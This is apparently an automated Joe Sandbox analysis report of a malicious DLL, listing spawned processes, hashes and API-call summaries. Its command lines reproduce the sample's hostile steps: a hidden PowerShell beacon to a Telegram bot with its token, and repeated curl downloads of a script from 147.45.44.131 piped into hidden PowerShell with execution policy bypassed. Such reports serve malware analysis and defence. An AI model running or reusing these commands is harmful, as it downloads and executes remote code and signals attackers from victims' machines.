Commandline:	powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7460, Parent PID: 6752

General

Target ID:	15
Start time:	16:32:56
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7476, Parent PID: 7460

General

Target ID:	16
Start time:	16:32:56
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7612, Parent PID: 4600

General

Target ID:	17
Start time:	16:33:00
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:33:00
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7632, Parent PID: 7612

General

Target ID:	19
Start time:	16:33:00
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:33:00
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:33:00
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7692, Parent PID: 7668

General

Target ID:	22
Start time:	16:33:00
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:33:00
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:33:00
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:33:00
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Imagebase:	0xb40000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:33:01
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:33:01
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7868, Parent PID: 7668

General

Target ID:	28
Start time:	16:33:01
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7880, Parent PID: 7668

General

Target ID:	29
Start time:	16:33:01
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: curl.exePID: 7888, Parent PID: 7808

General

Target ID:	30
Start time:	16:33:01
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Imagebase:	0xb40000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:33:01
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Imagebase:	0xb40000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:33:06
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline"
Imagebase:	0x8c0000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:33:06
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.cmdline"
Imagebase:	0x8c0000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:33:06
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.cmdline"
Imagebase:	0x8c0000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:33:06
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7228, Parent PID: 7424

General

Target ID:	36
Start time:	16:33:06
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 6588, Parent PID: 7424

General

Target ID:	37
Start time:	16:33:06
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: curl.exePID: 6656, Parent PID: 7228

General

Target ID:	38
Start time:	16:33:06
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Imagebase:	0xb40000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:33:07
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF461.tmp" "c:\Users\user\AppData\Local\Temp\wzlesmvi\CSC11B817DA9D55460CBF45133E7BAA649F.TMP"
Imagebase:	0x9f0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:33:07
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF463.tmp" "c:\Users\user\AppData\Local\Temp\1yj35v5c\CSC1D664DFBC1CF4D3B97F036955FDEE5EE.TMP"
Imagebase:	0x9f0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:33:07
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF462.tmp" "c:\Users\user\AppData\Local\Temp\xyq5akbp\CSC3C74FAAA7254A90B38FFB13CA21DCB4.TMP"
Imagebase:	0x9f0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	16:33:10
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf70000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	16:33:10
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x830000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	16:33:10
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x810000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	16:33:10
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.cmdline"
Imagebase:	0x8c0000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	16:33:11
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES374.tmp" "c:\Users\user\AppData\Local\Temp\3vvszjlk\CSC1C049BEBEBAF4B45B9D79F1CA1976831.TMP"
Imagebase:	0x9f0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	16:33:12
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x1c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	16:33:13
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x7c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1%
Total number of Nodes:	1384
Total number of Limit Nodes:	25

Executed Functions

Function 6F956EAB Relevance: 16.7, APIs: 11, Instructions: 188
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6F956A8E: HeapFree.KERNEL32(00000000,00000000,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AA4
Part of subcall function 6F956A8E: GetLastError.KERNEL32(?,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AAF

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F956FDC
GetExitCodeProcess.KERNELBASE(?,?), ref: 6F956FE9
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F956FFE
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957009
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957014
__dosmaperr.LIBCMT ref: 6F95701B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957026
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957031
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957043
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F95704E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F95707F

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: CloseHandle$ErrorLast$CodeExitFreeHeapObjectProcessSingleWait__dosmaperr
String ID:
API String ID: 2764183375-0
Opcode ID: d5ae05d5f146bc4ca3e0d0321ca3818495068bc107bf2a68a8105dab6195e736
Instruction ID: a321e98985f0f9d9a18d7ef8a04501a5f8a3b317096c4e47111c4bc96319f699
Opcode Fuzzy Hash: d5ae05d5f146bc4ca3e0d0321ca3818495068bc107bf2a68a8105dab6195e736
Instruction Fuzzy Hash: 49515B7190020CEBEF12DFA4C984AEE7BB9EF46315F108166E910A61D1D731DA78DF62

Function 6F951E84 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F951ECB
___scrt_uninitialize_crt.LIBCMT ref: 6F951EE5

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 2bbbc4437b33f0beafa3613e169e1d1912b658109abf41a96f938a2b6b962db6
Instruction ID: e2276723bfa995d3542d43ed16c1eda4113e27017016161c2d1841421cb4f0a4
Opcode Fuzzy Hash: 2bbbc4437b33f0beafa3613e169e1d1912b658109abf41a96f938a2b6b962db6
Instruction Fuzzy Hash: 4D41D672D05715AFDB21CF69CC40BAE3AB9EF967A4F10411AE8146B2D1D730DDA1CBA0

Function 6F95912D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,6417AA48,?,6F95923C,00000000,6F9510C9,00000000,00000000), ref: 6F9591EE

Strings

ext-ms-, xrefs: 6F959198
api-ms-, xrefs: 6F959184

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: f554dc15ddbba9cf125c6ce60cf5df5e1b206662ab8630a6768cee15615cc257
Instruction ID: 1ede92d87e88183e7490bbb336172c1a1857d4a00e499d7b6d6ec4c2ecc552f4
Opcode Fuzzy Hash: f554dc15ddbba9cf125c6ce60cf5df5e1b206662ab8630a6768cee15615cc257
Instruction Fuzzy Hash: E821EB71909621ABFF31CB348D88A9A376D9F437B4F110615ED16A72C8D730F921CAE0

Function 6F956CB6 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6F956CF9
_strrchr.LIBCMT ref: 6F956D03
_strrchr.LIBCMT ref: 6F956D18

Part of subcall function 6F956A8E: HeapFree.KERNEL32(00000000,00000000,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AA4
Part of subcall function 6F956A8E: GetLastError.KERNEL32(?,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AAF

Part of subcall function 6F954F7D: IsProcessorFeaturePresent.KERNEL32(00000017,6F954F4F,?,00000000,00000000,00000000,00000000,?,00000000,?,6F954EC6,?,00000000,00000000,00000000,00000000), ref: 6F954F7F
Part of subcall function 6F954F7D: GetCurrentProcess.KERNEL32(C0000417,00000000,?,00000000,?,?,6F954F6F,00000000,00000000,00000000,00000000,00000000,?,6F951118), ref: 6F954FA2
Part of subcall function 6F954F7D: TerminateProcess.KERNEL32(00000000,?,?,6F954F6F,00000000,00000000,00000000,00000000,00000000,?,6F951118), ref: 6F954FA9

Strings

.com, xrefs: 6F956E23, 6F956E2D

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: _strrchr$Process$CurrentErrorFeatureFreeHeapLastPresentProcessorTerminate
String ID: .com
API String ID: 3694955208-4200470757
Opcode ID: b89a937c685fd089e0260fed234e519aac03d3cfd6b98381ce62ab1e95df06fe
Instruction ID: 4c2b800bafc330f446592be22e472aa8b40ae3d784f9c81bcc1d74f6572a7735
Opcode Fuzzy Hash: b89a937c685fd089e0260fed234e519aac03d3cfd6b98381ce62ab1e95df06fe
Instruction Fuzzy Hash: 07514872504305AAEB16DE74DC44BAF377CDF53768F140929E910AB2C3EB22E938C261

Function 6F951F34 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6F951F71
